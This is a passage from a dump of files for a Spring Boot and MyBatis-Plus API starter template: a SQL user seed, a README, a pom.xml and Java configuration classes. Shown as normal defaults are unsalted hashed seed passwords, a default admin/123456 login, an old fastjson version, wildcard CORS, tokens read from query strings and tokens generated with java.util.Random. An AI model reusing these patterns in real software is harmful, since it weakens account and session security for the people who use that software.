    "content": "/*\n Navicat Premium Data Transfer\n\n Source Server         : localhost\n Source Server Type    : MySQL\n Source Server Version : 50529\n Source Host           : localhost:3306\n Source Schema         : project\n\n Target Server Type    : MySQL\n Target Server Version : 50529\n File Encoding         : 65001\n\n Date: 08/01/2020 15:53:02\n*/\n\nSET NAMES utf8mb4;\nSET FOREIGN_KEY_CHECKS = 0;\n\n-- ----------------------------\n-- Table structure for user\n-- ----------------------------\nDROP TABLE IF EXISTS `user`;\nCREATE TABLE `user`  (\n  `id` int(11) NOT NULL AUTO_INCREMENT COMMENT '主键',\n  `username` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL COMMENT '用户名',\n  `password` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL COMMENT '密码',\n  `nick_name` varchar(255) CHARACTER SET utf8 COLLATE utf8_general_ci NULL DEFAULT NULL COMMENT '昵称',\n  `sex` int(1) NULL DEFAULT NULL COMMENT '性别',\n  `create_date` datetime NULL DEFAULT NULL COMMENT '创建时间',\n  `create_user` int(11) NULL DEFAULT NULL COMMENT '创建人',\n  `update_date` datetime NULL DEFAULT NULL COMMENT '修改时间',\n  `update_user` int(11) NULL DEFAULT NULL COMMENT '修改人',\n  `del_flag` int(1) NULL DEFAULT 0 COMMENT '删除标志0未删 1删除',\n  PRIMARY KEY (`id`) USING BTREE\n) ENGINE = InnoDB AUTO_INCREMENT = 11 CHARACTER SET = utf8 COLLATE = utf8_general_ci ROW_FORMAT = Compact;\n\n-- ----------------------------\n-- Records of user\n-- ----------------------------\nINSERT INTO `user` VALUES (1, 'admin', '9dc818b4bca3baa7d230fbf96c919638', '土豆', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (2, '2@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-2', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (3, '3@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-3', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (4, '4@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-4', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (5, '5@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-5', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (6, '6@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-6', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (7, '7@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-7', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (8, '8@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-8', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (9, '9@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-9', 1, NULL, NULL, NULL, NULL, 0);\nINSERT INTO `user` VALUES (10, '10@qq.com', '9dc818b4bca3baa7d230fbf96c919638', '土豆-10', 1, NULL, NULL, NULL, NULL, 0);\n\nSET FOREIGN_KEY_CHECKS = 1;\n"
  },
  {
    "path": "java_project_template/springboot-api-v2/.gitignore",
    "content": "# Created by .ignore support plugin (hsz.mobi)\n"
  },
  {
    "path": "java_project_template/springboot-api-v2/README.md",
    "content": "## 简介\nSpring Boot API 是一个基于Spring Boot & MyBatis plus的种子项目，用于快速构建中小型API项目，特点稳定、简单、快速，摆脱那些重复劳动\n\n## 特征&提供\n- 统一响应结果封装及生成工具\n- 统一异常处理\n- 采用redis token认证，支持单登陆端/多登陆端登陆\n- 使用Druid Spring Boot Starter 集成Druid数据库连接池与监控\n- 集成MyBatis-Plus，实现单表业务零SQL\n- 支持多数据源，自由切换，只需方法或类上用 @DS 切换数据源\n- 集成国人风格的knife4j，自动生成接口文档\n- 提供代码生成器，生成controller,service,serviceImpl,dao,mapper.xml\n\n## 快速开始\n1. 克隆项目\n2. 导入```test```包里的mysql脚本user.sql\n3. 对```test```包内的代码生成器```CodeGenerator```进行配置，主要是JDBC，因为要根据表名来生成代码\n4. 输入表名，运行```CodeGenerator.main()```方法，生成基础代码（可能需要刷新项目目录才会出来）\n5. 根据业务在基础代码上进行扩展\n6. 对开发环境配置文件```application-dev.yml```进行配置，启动项目，Have Fun！\n\n## 开发建议\n- post调用接口ip:8080/api/user/login,参数json: {\"username\":\"admin\",\"password\":\"123456\"},调用成功后, 返回token。以后调用api接口，header中传token\n- 已写好注册、登陆、登出、修改密码接口， 支持单登陆端/多登陆端登陆， 具体看UserController.java 类。用户登陆之后获取session信息 JSONObject sessionInfo = httpSession.getCurrentSession();\n- 正式环境已禁用接口文档的查看，配置文件添加knife4j:production: true 即可\n- 是否允许多个登陆端，修改配置文件 redis:allowMultipleLogin:true \n- Model内成员变量建议与表字段数量对应，如需扩展成员变量（比如连表查询）建议创建DTO，否则需在扩展的成员变量上加@TableField(exist = false)，详见[MyBatis-Plus](https://mp.baomidou.com/guide/)文档说明\n- 建议业务失败直接使用ServiceException(\"ErrorMessage\")抛出，由统一异常处理器来封装业务失败的响应结果，会直接被封装为{\"code\":400,\"message\":\"ErrorMessage\"}返回，尽情抛出；body方式传参，@Valid校验Model，更无需自己处理；\n\n## 接口文档效果图\n![image-20200313084433855](http://tuchuang.aitangbao.com.cn/image-20200313084433855.png)\n\n## 相关文档\n- Spring Boot（[springboot官方](https://spring.io/projects/spring-boot/)）\n- MyBatis-Plus ([查看官方中文文档](https://mp.baomidou.com/guide/))\n- MyBatis-Plus分页插件（[查看官方中文文档](https://mp.baomidou.com/guide/page.html)）\n- Druid Spring Boot Starter（[查看官方中文文档](https://github.com/alibaba/druid/tree/master/druid-spring-boot-starter/)）\n- Fastjson（[查看官方中文文档](https://github.com/Alibaba/fastjson/wiki/%E9%A6%96%E9%A1%B5)）\n- 阿里巴巴Java开发手册[最新版下载](https://github.com/alibaba/p3c)\n其他\n\n## License\n纯粹开源分享，感谢大家 [Star](https://github.com/aitangbao/springboot-api-v2) 的支持。\n"
  },
  {
    "path": "java_project_template/springboot-api-v2/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>com.company.project</groupId>\n    <artifactId>springboot-api-v2</artifactId>\n    <version>1.0</version>\n    <packaging>jar</packaging>\n\n    <properties>\n        <java.version>1.8</java.version>\n        <mybatis-plus.version>3.3.0</mybatis-plus.version>\n    </properties>\n\n    <!-- Inherit defaults from Spring Boot -->\n    <parent>\n        <groupId>org.springframework.boot</groupId>\n        <artifactId>spring-boot-starter-parent</artifactId>\n        <version>2.2.2.RELEASE</version>\n    </parent>\n\n    <dependencies>\n        <!--Spring Boot依赖-->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-web</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-jdbc</artifactId>\n        </dependency>\n        <!--redis依赖配置-->\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-data-redis</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter-test</artifactId>\n            <scope>test</scope>\n        </dependency>\n        <!--MyBatis 及 插件依赖-->\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>dynamic-datasource-spring-boot-starter</artifactId>\n            <version>2.5.5</version>\n        </dependency>\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus</artifactId>\n            <version>${mybatis-plus.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus-boot-starter</artifactId>\n            <version>${mybatis-plus.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>com.baomidou</groupId>\n            <artifactId>mybatis-plus-generator</artifactId>\n            <version>${mybatis-plus.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <version>1.18.10</version>\n            <scope>provided</scope>\n        </dependency>\n\n\n        <!--常用库依赖-->\n        <dependency>\n            <groupId>commons-codec</groupId>\n            <artifactId>commons-codec</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>org.apache.commons</groupId>\n            <artifactId>commons-lang3</artifactId>\n            <version>3.6</version>\n        </dependency>\n        <!--MySQL JDBC驱动-->\n        <dependency>\n            <groupId>mysql</groupId>\n            <artifactId>mysql-connector-java</artifactId>\n            <scope>runtime</scope>\n        </dependency>\n\n        <!--阿里 FastJson依赖-->\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>fastjson</artifactId>\n            <version>1.2.47</version>\n        </dependency>\n        <!--阿里 Druid Spring Boot Starter依赖-->\n        <dependency>\n            <groupId>com.alibaba</groupId>\n            <artifactId>druid-spring-boot-starter</artifactId>\n            <version>1.1.10</version>\n        </dependency>\n        <!--代码生成器依赖-->\n        <dependency>\n            <groupId>org.freemarker</groupId>\n            <artifactId>freemarker</artifactId>\n            <version>2.3.30</version>\n            <scope>test</scope>\n        </dependency>\n\n        <dependency>\n            <groupId>com.github.xiaoymin</groupId>\n            <artifactId>knife4j-spring-boot-starter</artifactId>\n            <version>2.0.2</version>\n        </dependency>\n        <!-- JWT依赖 -->\n        <dependency>\n            <groupId>io.jsonwebtoken</groupId>\n            <artifactId>jjwt</artifactId>\n            <version>0.9.1</version>\n        </dependency>\n    </dependencies>\n\n    <build>\n        <plugins>\n            <plugin>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-maven-plugin</artifactId>\n            </plugin>\n            <plugin>\n                <artifactId>maven-compiler-plugin</artifactId>\n                <configuration>\n                    <source>${java.version}</source>\n                    <target>${java.version}</target>\n                    <encoding>UTF-8</encoding>\n                </configuration>\n            </plugin>\n        </plugins>\n    </build>\n\n    <repositories>\n        <repository>\n            <id>aliyun-repos</id>\n            <url>http://maven.aliyun.com/nexus/content/groups/public/</url>\n            <snapshots>\n                <enabled>false</enabled>\n            </snapshots>\n        </repository>\n    </repositories>\n\n    <pluginRepositories>\n        <pluginRepository>\n            <id>aliyun-plugin</id>\n            <url>http://maven.aliyun.com/nexus/content/groups/public/</url>\n            <snapshots>\n                <enabled>false</enabled>\n            </snapshots>\n        </pluginRepository>\n    </pluginRepositories>\n\n</project>"
  },
  {
    "path": "java_project_template/springboot-api-v2/src/main/java/com/company/project/Application.java",
    "content": "package com.company.project;\n\nimport com.alibaba.druid.spring.boot.autoconfigure.DruidDataSourceAutoConfigure;\nimport org.mybatis.spring.annotation.MapperScan;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.boot.SpringApplication;\nimport org.springframework.boot.autoconfigure.SpringBootApplication;\nimport org.springframework.context.ConfigurableApplicationContext;\nimport org.springframework.core.env.Environment;\nimport springfox.documentation.swagger2.annotations.EnableSwagger2;\n\nimport java.net.InetAddress;\n\n@SpringBootApplication(exclude = DruidDataSourceAutoConfigure.class)\n@MapperScan(\"com.company.project.dao\")\npublic class Application {\n\n    private static Logger logger= LoggerFactory.getLogger(Application.class);\n\n    public static void main(String[] args) throws Exception {\n\n        ConfigurableApplicationContext application = SpringApplication.run(Application.class, args);\n\n        Environment env = application.getEnvironment();\n        logger.info(\"\\n----------------------------------------------------------\\n\\t\" +\n                        \"Application '{}' is running! Access URLs:\\n\\t\" +\n                        \"Local: \\t\\thttp://localhost:{}\\n\\t\" +\n                        \"External: \\thttp://{}:{}\\n\\t\" +\n                        \"Doc: \\thttp://{}:{}/doc.html\\n\" +\n                        \"----------------------------------------------------------\",\n                env.getProperty(\"spring.application.name\"),\n                env.getProperty(\"server.port\"),\n                InetAddress.getLocalHost().getHostAddress(),\n                env.getProperty(\"server.port\"),\n                InetAddress.getLocalHost().getHostAddress(),\n                env.getProperty(\"server.port\"));\n    }\n}\n\n"
  },
  {
    "path": "java_project_template/springboot-api-v2/src/main/java/com/company/project/configurer/LoginInterceptor.java",
    "content": "package com.company.project.configurer;\n\n\nimport com.alibaba.fastjson.JSON;\nimport com.alibaba.fastjson.JSONObject;\nimport com.company.project.core.Result;\nimport com.company.project.core.ResultCode;\nimport com.company.project.service.HttpSessionService;\nimport org.apache.commons.lang3.StringUtils;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.servlet.handler.HandlerInterceptorAdapter;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport java.io.IOException;\n\n/**\n * @author wenbin\n * @since 2019/10/30 15:29\n * <p>登陆拦截器\n */\npublic class LoginInterceptor extends HandlerInterceptorAdapter {\n\n    @Autowired\n    private HttpSessionService httpSession;\n\n    private final Logger logger = LoggerFactory.getLogger(WebMvcConfigurer.class);\n\n    @Override\n    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {\n        //用户当前session信息\n        JSONObject currentSession;\n        //拦截接口\n        //从header中获取token\n        String token = request.getHeader(\"token\");\n        //如果header中不存在token，则从参数中获取token\n        if (StringUtils.isBlank(token)) {\n            token = request.getParameter(\"token\");\n        }\n        //token为空返回\n        if (StringUtils.isBlank(token)) {\n            Result result = new Result();\n            result.setCode(ResultCode.UNAUTHORIZED).setMessage(\"token不能为空\").setSuccess(false);\n            responseResult(response, result);\n            return false;\n        }//  校验并解析token，如果token过期或者篡改，则会返回null\n        currentSession = httpSession.getCurrentSession();\n        if (null != currentSession) {\n            return true;\n        } else {\n            Result result = new Result();\n            result.setCode(ResultCode.UNAUTHORIZED).setMessage(\"用户未登陆!\").setSuccess(false);\n            responseResult(response, result);\n            return false;\n        }\n    }\n\n\n    private void responseResult(HttpServletResponse response, Result result) {\n        response.setCharacterEncoding(\"UTF-8\");\n        response.setHeader(\"Content-type\", \"application/json;charset=UTF-8\");\n        try {\n            response.getWriter().write(JSON.toJSONString(result));\n        } catch (IOException ex) {\n            logger.error(ex.getMessage());\n        }\n    }\n}\n"
  },
  {
    "path": "java_project_template/springboot-api-v2/src/main/java/com/company/project/configurer/MyBatisPlusConfig.java",
    "content": "package com.company.project.configurer;\n\nimport com.baomidou.mybatisplus.extension.plugins.PaginationInterceptor;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\n\n/**\n * @ClassName MyBatisPlusConfig\n * @Version 1.0\n **/\n@Configuration\npublic class MyBatisPlusConfig {\n    /**\n     * 配置mybatis-plus 分页查件\n     * @return\n     */\n    @Bean\n    public PaginationInterceptor paginationInterceptor() {\n        PaginationInterceptor paginationInterceptor = new PaginationInterceptor();\n        return paginationInterceptor;\n    }\n}"
  },
  {
    "path": "java_project_template/springboot-api-v2/src/main/java/com/company/project/configurer/SwaggerConfiguration.java",
    "content": "package com.company.project.configurer;\n\nimport com.github.xiaoymin.knife4j.spring.annotations.EnableKnife4j;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.context.annotation.Import;\nimport springfox.bean.validators.configuration.BeanValidatorPluginsConfiguration;\nimport springfox.documentation.builders.ApiInfoBuilder;\nimport springfox.documentation.builders.PathSelectors;\nimport springfox.documentation.builders.RequestHandlerSelectors;\nimport springfox.documentation.service.ApiInfo;\nimport springfox.documentation.spi.DocumentationType;\nimport springfox.documentation.spring.web.plugins.Docket;\nimport springfox.documentation.swagger2.annotations.EnableSwagger2;\n\n@Configuration\n@EnableSwagger2\n@EnableKnife4j\n@Import(BeanValidatorPluginsConfiguration.class)\npublic class SwaggerConfiguration {\n\n    @Bean\n    public Docket createRestApi() {\n        return new Docket(DocumentationType.SWAGGER_2)\n                .apiInfo(apiInfo())\n                .select()\n                .apis(RequestHandlerSelectors.basePackage(\"com.company.project.web\"))\n                .paths(PathSelectors.any())\n                .build();\n    }\n\n    private ApiInfo apiInfo() {\n        return new ApiInfoBuilder()\n                .title(\"Springboot-api APIs\")\n                .description(\"Springboot-api APIs\")\n                .termsOfServiceUrl(\"http://localhost:8080/\")\n                .contact(\"xxxxxxxxxx@163.com\")\n                .version(\"1.0\")\n                .build();\n    }\n}"
  },
  {
    "path": "java_project_template/springboot-api-v2/src/main/java/com/company/project/configurer/WebMvcConfigurer.java",
    "content": "package com.company.project.configurer;\n\nimport java.io.IOException;\nimport java.nio.charset.Charset;\nimport java.util.Arrays;\nimport java.util.Collections;\nimport java.util.List;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\nimport com.alibaba.fastjson.JSON;\nimport com.alibaba.fastjson.serializer.SerializerFeature;\nimport com.alibaba.fastjson.support.config.FastJsonConfig;\nimport com.alibaba.fastjson.support.spring.FastJsonHttpMessageConverter;\n\nimport com.company.project.core.Result;\nimport com.company.project.core.ResultCode;\nimport com.company.project.core.ResultGenerator;\nimport com.company.project.core.ServiceException;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.http.MediaType;\nimport org.springframework.http.converter.HttpMessageConverter;\nimport org.springframework.web.bind.MethodArgumentNotValidException;\nimport org.springframework.web.bind.annotation.ExceptionHandler;\nimport org.springframework.web.method.HandlerMethod;\nimport org.springframework.web.servlet.HandlerExceptionResolver;\nimport org.springframework.web.servlet.ModelAndView;\nimport org.springframework.web.servlet.NoHandlerFoundException;\nimport org.springframework.web.servlet.config.annotation.*;\n\n/**\n * Spring MVC 配置\n */\n@Configuration\npublic class WebMvcConfigurer extends WebMvcConfigurerAdapter {\n\n    private final Logger logger = LoggerFactory.getLogger(WebMvcConfigurer.class);\n\n    @Bean\n    LoginInterceptor loginInterceptor() {\n\n        return new LoginInterceptor();\n    }\n\n\n    //使用阿里 FastJson 作为JSON MessageConverter\n    @Override\n    public void configureMessageConverters(List<HttpMessageConverter<?>> converters) {\n        FastJsonHttpMessageConverter converter = new FastJsonHttpMessageConverter();\n        FastJsonConfig config = new FastJsonConfig();\n        config.setSerializerFeatures(SerializerFeature.WriteMapNullValue);//保留空的字段\n        //SerializerFeature.WriteNullStringAsEmpty,//String null -> \"\"\n        //SerializerFeature.WriteNullNumberAsZero//Number null -> 0\n        // 按需配置，更多参考FastJson文档哈\n\n        converter.setFastJsonConfig(config);\n        converter.setDefaultCharset(Charset.forName(\"UTF-8\"));\n        converter.setSupportedMediaTypes(Arrays.asList(MediaType.APPLICATION_JSON_UTF8));\n        converters.add(converter);\n    }\n\n\n    //统一异常处理\n    @Override\n    public void configureHandlerExceptionResolvers(List<HandlerExceptionResolver> exceptionResolvers) {\n        exceptionResolvers.add(new HandlerExceptionResolver() {\n            public ModelAndView resolveException(HttpServletRequest request, HttpServletResponse response, Object handler, Exception e) {\n                Result result = new Result();\n                if (e instanceof ServiceException) {//业务失败的异常，如“账号或密码错误”\n                    result.setCode(ResultCode.FAIL).setMessage(e.getMessage()).setSuccess(false);\n                } else if (e instanceof MethodArgumentNotValidException) {//@valid注解验证参数\n                    MethodArgumentNotValidException m = (MethodArgumentNotValidException) e;\n                    m.getBindingResult().getFieldError().getDefaultMessage();\n                    result.setCode(ResultCode.PARAM_FAIL).setMessage(m.getBindingResult().getFieldError().getDefaultMessage()).setSuccess(false);\n                } else if (e instanceof NoHandlerFoundException) {\n                    result.setCode(ResultCode.NOT_FOUND).setMessage(\"接口 [\" + request.getRequestURI() + \"] 不存在\").setSuccess(false);\n                } else if (e instanceof ServletException) {\n                    result.setCode(ResultCode.FAIL).setMessage(e.getMessage()).setSuccess(false);\n                } else {\n                    result.setCode(ResultCode.INTERNAL_SERVER_ERROR).setMessage(\"接口 [\" + request.getRequestURI() + \"] 内部错误，请联系管理员\").setSuccess(false);\n                    String message;\n                    if (handler instanceof HandlerMethod) {\n                        HandlerMethod handlerMethod = (HandlerMethod) handler;\n                        message = String.format(\"接口 [%s] 出现异常，方法：%s.%s，异常摘要：%s\",\n                                request.getRequestURI(),\n                                handlerMethod.getBean().getClass().getName(),\n                                handlerMethod.getMethod().getName(),\n                                e.getMessage());\n                    } else {\n                        message = e.getMessage();\n                    }\n                    logger.error(message, e);\n                }\n                responseResult(response, result);\n                return new ModelAndView();\n            }\n\n        });\n    }\n\n    @ExceptionHandler(MethodArgumentNotValidException.class)\n    public Result handleMethodArgumentNotValidException(MethodArgumentNotValidException e) {\n        return ResultGenerator.genFailResult(e.getBindingResult().getFieldError().getDefaultMessage());\n    }\n\n    /**\n     * 页面跨域访问Controller过滤\n     *\n     * @return\n     */\n    @Override\n    public void addCorsMappings(CorsRegistry registry) {\n        WebMvcConfigurer.super.addCorsMappings(registry);\n        registry.addMapping(\"/**\")\n                .allowedHeaders(\"*\")\n                .allowedMethods(\"POST\", \"GET\")\n                .allowedOrigins(\"*\");\n    }\n\n    //添加拦截器\n    @Override\n    public void addInterceptors(InterceptorRegistry registry) {\n        registry.addInterceptor(loginInterceptor())\n                .excludePathPatterns(\"/doc.html\")\n                .excludePathPatterns(\"/swagger-resources/**\")\n                .excludePathPatterns(\"/error\")\n                .excludePathPatterns(\"/webjars/**\")\n                .excludePathPatterns(\"/api/user/login\")\n                .excludePathPatterns(\"/api/user/register\")\n                .addPathPatterns(\"/**\");\n    }\n\n\n    private void responseResult(HttpServletResponse response, Result result) {\n        response.setCharacterEncoding(\"UTF-8\");\n        response.setHeader(\"Content-type\", \"application/json;charset=UTF-8\");\n        try {\n            response.getWriter().write(JSON.toJSONString(result));\n        } catch (IOException ex) {\n            logger.error(ex.getMessage());\n        }\n    }\n\n    /**\n     * 发现如果继承了WebMvcConfigurationSupport，则在yml中配置的相关内容会失效。 需要重新指定静态资源\n     *\n     * @param registry\n     */\n    @Override\n    public void addResourceHandlers(ResourceHandlerRegistry registry) {\n        registry.addResourceHandler(\"/**\").addResourceLocations(\n                \"classpath:/static/\");\n        registry.addResourceHandler(\"doc.html\").addResourceLocations(\n                \"classpath:/META-INF/resources/\");\n        registry.addResourceHandler(\"/webjars/**\").addResourceLocations(\n                \"classpath:/META-INF/resources/webjars/\");\n        super.addResourceHandlers(registry);\n    }\n\n\n    /**\n     * 配置servlet处理\n     */\n    @Override\n    public void configureDefaultServletHandling(\n            DefaultServletHandlerConfigurer configurer) {\n        configurer.enable();\n    }\n\n\n}\n\n"
  },
  {
    "path": "java_project_template/springboot-api-v2/src/main/java/com/company/project/core/ApplicationContextUtil.java",
    "content": "package com.company.project.core;\n \nimport org.springframework.beans.BeansException;\nimport org.springframework.context.ApplicationContext;\nimport org.springframework.context.ApplicationContextAware;\nimport org.springframework.stereotype.Component;\n \n/**\n * @className: ApplicationContextUtil\n * @Description: 解决定时任务获取不到service的问题\n * @Author moneylee\n * @Date 2019-05-11 14:28\n * @Version 1.0\n **/\n@Component\npublic class ApplicationContextUtil implements ApplicationContextAware {\n \n    private static ApplicationContext applicationContext;\n \n    public static ApplicationContext getApplicationContext() {\n        return applicationContext;\n    }\n \n \n    @Override\n    public void setApplicationContext(ApplicationContext applicationContext) throws BeansException {\n        ApplicationContextUtil.applicationContext = applicationContext;\n \n    }\n \n    public static Object getBean(String beanName) {\n        return applicationContext.getBean(beanName);\n    }\n \n}"
  },
  {
    "path": "java_project_template/springboot-api-v2/src/main/java/com/company/project/core/Result.java",
    "content": "package com.company.project.core;\n\nimport com.alibaba.fastjson.JSON;\n\n/**\n * 统一API响应结果封装\n */\npublic class Result<T> {\n    private int code;\n    private String message;\n    private T data;\n    private Boolean success;\n\n    public Result setCode(ResultCode resultCode) {\n        this.code = resultCode.code();\n        return this;\n    }\n\n    public int getCode() {\n        return code;\n    }\n\n    public String getMessage() {\n        return message;\n    }\n\n    public Result setMessage(String message) {\n        this.message = message;\n        return this;\n    }\n\n    public T getData() {\n        return data;\n    }\n\n    public Result setData(T data) {\n        this.data = data;\n        return this;\n    }\n\n    public Boolean getSuccess() {\n        return success;\n    }\n\n    public Result setSuccess(Boolean success) {\n        this.success = success;\n        return this;\n    }\n\n    @Override\n    public String toString() {\n        return JSON.toJSONString(this);\n    }\n}\n"
  },
  {
    "path": "java_project_template/springboot-api-v2/src/main/java/com/company/project/core/ResultCode.java",
    "content": "package com.company.project.core;\n\n/**\n * 响应码枚举，参考HTTP状态码的语义\n */\npublic enum ResultCode {\n    SUCCESS(200),//成功\n    FAIL(400),//失败\n    UNAUTHORIZED(401),//未认证（签名错误）\n    NOT_FOUND(404),//接口不存在\n    INTERNAL_SERVER_ERROR(500),//服务器内部错误\n    PARAM_FAIL(10001);//参数异常\n\n    private final int code;\n\n    ResultCode(int code) {\n        this.code = code;\n    }\n\n    public int code() {\n        return code;\n    }\n}\n"
  },
  {
    "path": "java_project_template/springboot-api-v2/src/main/java/com/company/project/core/ResultGenerator.java",
    "content": "package com.company.project.core;\n\n/**\n * 响应结果生成工具\n */\npublic class ResultGenerator {\n    private static final String DEFAULT_SUCCESS_MESSAGE = \"SUCCESS\";\n\n    public static Result genSuccessResult() {\n        return new Result()\n                .setSuccess(true)\n                .setCode(ResultCode.SUCCESS)\n                .setMessage(DEFAULT_SUCCESS_MESSAGE);\n    }\n\n    public static <T> Result<T> genSuccessResult(T data) {\n        return new Result()\n                .setSuccess(true)\n                .setCode(ResultCode.SUCCESS)\n                .setMessage(DEFAULT_SUCCESS_MESSAGE)\n                .setData(data);\n    }\n\n    public static Result genFailResult(String message) {\n        return new Result()\n                .setSuccess(false)\n                .setCode(ResultCode.FAIL)\n                .setMessage(message);\n    }\n}\n"
  },
  {
    "path": "java_project_template/springboot-api-v2/src/main/java/com/company/project/core/ServiceException.java",
    "content": "package com.company.project.core;\n\n/**\n * 服务（业务）异常如“ 账号或密码错误 ”，该异常只做INFO级别的日志记录 @see WebMvcConfigurer\n */\npublic class ServiceException extends RuntimeException {\n    public ServiceException() {\n    }\n\n    public ServiceException(String message) {\n        super(message);\n    }\n\n    public ServiceException(String message, Throwable cause) {\n        super(message, cause);\n    }\n}\n"
  },
  {
    "path": "java_project_template/springboot-api-v2/src/main/java/com/company/project/dao/UserMapper.java",
    "content": "package com.company.project.dao;\n\nimport com.company.project.model.User;\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\n\n/**\n * <p>\n *  Mapper 接口\n * </p>\n *\n * @author project\n * @since 2020-01-08\n */\npublic interface UserMapper extends BaseMapper<User> {\n\n}\n"
  },
  {
    "path": "java_project_template/springboot-api-v2/src/main/java/com/company/project/model/User.java",
    "content": "package com.company.project.model;\n\nimport com.baomidou.mybatisplus.annotation.IdType;\nimport com.baomidou.mybatisplus.annotation.TableField;\nimport com.baomidou.mybatisplus.annotation.TableId;\nimport com.baomidou.mybatisplus.annotation.TableLogic;\nimport java.io.Serializable;\nimport java.util.Date;\n\nimport lombok.Data;\nimport lombok.EqualsAndHashCode;\nimport lombok.experimental.Accessors;\n\nimport javax.validation.constraints.NotEmpty;\n\n/**\n * <p>\n * \n * </p>\n *\n * @author project\n * @since 2020-01-08\n */\n@Data\n@EqualsAndHashCode(callSuper = false)\n@Accessors(chain = true)\npublic class User implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n    /**\n     * 主键\n     */\n    @TableId(value = \"id\", type = IdType.AUTO)\n    private Integer id;\n\n    /**\n     * 用户名\n     */\n    @NotEmpty(message = \"用户名不能为空！\")\n    private String username;\n\n    /**\n     * 密码\n     */\n    @NotEmpty(message = \"密码不能为空！\")\n    private String password;\n\n    /**\n     * 昵称\n     */\n    private String nickName;\n\n    /**\n     * 性别\n     */\n    private Integer sex;\n\n    /**\n     * 创建时间\n     */\n    private Date createDate;\n\n    /**\n     * 创建人\n     */\n    private Integer createUser;\n\n    /**\n     * 修改时间\n     */\n    private Date updateDate;\n\n    /**\n     * 修改人\n     */\n    private Integer updateUser;\n\n    /**\n     * 删除标志0未删 1删除\n     */\n    @TableLogic\n    private Integer delFlag;\n\n    /**\n     * 登陆返回token\n     */\n    @TableField(exist = false)\n    private String token;\n\n}\n"
  },
  {
    "path": "java_project_template/springboot-api-v2/src/main/java/com/company/project/service/HttpSessionService.java",
    "content": "package com.company.project.service;\n\nimport com.alibaba.fastjson.JSON;\nimport com.alibaba.fastjson.JSONObject;\nimport com.company.project.model.User;\nimport org.apache.commons.lang3.StringUtils;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.stereotype.Service;\n\nimport javax.servlet.http.HttpServletRequest;\nimport java.util.Random;\n\n/**\n * session管理器\n *\n * @author aitangbao\n */\n@Service\npublic class HttpSessionService {\n\n    @Autowired\n    private RedisService redisDB;\n\n    @Autowired\n    private HttpServletRequest request;\n\n    @Value(\"${redis.key.prefix.userToken}\")\n    private String USER_TOKEN_PREFIX;\n\n    @Value(\"${redis.key.expire.userToken}\")\n    private int EXPIRE ;\n\n    public String createTokenAndUser(User user) {\n        //方便根据id找到redis的key， 修改密码/退出登陆 方便使用\n        String token = getRandomToken(32) + \"#\" + user.getId();\n        JSONObject sessionInfo = new JSONObject();\n        sessionInfo.put(\"userId\", user.getId());\n        sessionInfo.put(\"username\", user.getUsername());\n        String key = USER_TOKEN_PREFIX + token;\n        //设置该用户已登录的token\n        redisDB.setAndExpire(key, sessionInfo.toJSONString(), EXPIRE);\n        return token;\n    }\n\n    /**\n     * 根据token获取userid\n     *\n     * @param 